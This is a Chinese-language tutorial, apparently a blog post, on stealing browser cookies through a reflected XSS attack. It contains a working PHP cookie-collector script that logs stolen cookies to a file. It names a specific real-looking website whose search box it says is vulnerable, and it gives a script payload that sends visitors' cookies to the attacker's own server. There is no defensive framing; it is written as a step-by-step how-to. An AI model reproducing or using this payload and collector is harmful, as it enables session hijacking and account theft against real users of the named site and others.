需要的相关知识
如何在浏览器中获取某个网站的cookie?
打开某个网站后,浏览器地址栏输入,回车即可显示
javascript:alert(document.cookie);
示例:
xss攻击获取用户cookie
xss攻击分为持久式和非持久式,持久式是将代码注入到服务器端,每个访问该网站的用户都成为了被攻击者,非持久式将代码注入到客户端网页中,危害相对较小。这里我们的例子是非持久式的。步骤如下:
- 找一台linux服务器,搭建php环境,可以参考如下链接Ubuntu16.04搭建lamp环境
- 写php文件代码,命名为test_hacker.php
<?php $logFile = "log.txt"; $cookie = $_REQUEST["c"];//会提取保存有cookie参数c $handle = fopen($logFile, "a"); fwrite($handle, $cookie . "\n\n");//将cookie写入文件log.txt fclose($handle); header("Location: http://www.baidu.com/"); //最后,跳转到百度页面结束 exit; ?>
- 将test_hacker.php上传到服务器设定的访问目录下。注意,log.txt不要提前建立,自动建立就好,否则后面写入可能有问题
- 参考xss攻击讲解及实战找一个有xss漏洞的网站,这里选取如下网站
https://www.sankelux.co.id/search?diskonend=100
- 因为上述网站搜索框存在漏洞,所以搜索框内输入
<script>window.location = "http://你的IP/test_hacker.php?c=" + document.cookie;</script>
登陆服务器查看log.txt文件,即可看见写入的cookie